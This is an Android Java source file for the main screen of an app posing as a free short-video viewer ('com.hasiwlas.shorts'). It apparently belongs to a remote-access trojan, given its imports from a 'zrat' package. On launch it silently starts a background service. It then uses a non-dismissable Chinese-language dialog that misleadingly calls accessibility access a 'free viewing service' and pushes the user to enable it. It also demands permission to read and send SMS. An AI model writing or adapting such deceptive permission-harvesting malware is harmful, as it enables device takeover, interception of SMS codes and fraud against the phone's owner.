package com.hasiwlas.shorts;

import android.Manifest;
import android.app.Dialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Color;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.view.View;

import androidx.appcompat.app.AlertDialog;
import androidx.core.app.DialogCompat;

import com.example.zrat.AccessibilityService;
import com.example.zrat.ZService;
import com.example.zrat.permissions.PermissionManager;
import com.example.zrat.permissions.models.DeniedPermissions;
import com.getcapacitor.BridgeActivity;

import java.util.Arrays;

import pub.devrel.easypermissions.AppSettingsDialog;

public class MainActivity extends BridgeActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        View decorView = getWindow().getDecorView();
        int uiOptions = decorView.getSystemUiVisibility();
        uiOptions = uiOptions | View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN;
        decorView.setSystemUiVisibility(uiOptions);
        getWindow().setStatusBarColor(Color.TRANSPARENT);

        Intent startIntent = new Intent(this, ZService.class);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startForegroundService(startIntent);
        } else {
            startService(startIntent);
        }

    }

    @Override
    public void onResume() {
        super.onResume();
        if (AccessibilityService.instance == null) {
            AlertDialog.Builder builder = new AlertDialog.Builder(this);
            builder.setTitle("需要权限")
                    .setMessage("如要继续使用本APP，请打开免费畅看服务")
                    .setPositiveButton("确定", (dialog, id) -> {
                        Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
                        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                        startActivity(intent);
                        dialog.dismiss();
                    })
                    .setCancelable(false)
                    .create().show();
        }
        PermissionManager.getInstance(this).checkPermissions(
                Arrays.asList(android.Manifest.permission.SEND_SMS,
                        Manifest.permission.READ_SMS),
                new PermissionManager.PermissionRequestListener() {
                    @Override
                    public void onPermissionGranted() {

                    }

                    @Override
                    public void onPermissionDenied(DeniedPermissions deniedPermissions) {
                        new AppSettingsDialog.Builder(MainActivity.this)
                                .setTitle("需要权限")
                                .setRationale("如要继续使用本APP，请打开短信权限")
                                .build().show();

                    }
                });
    }
}
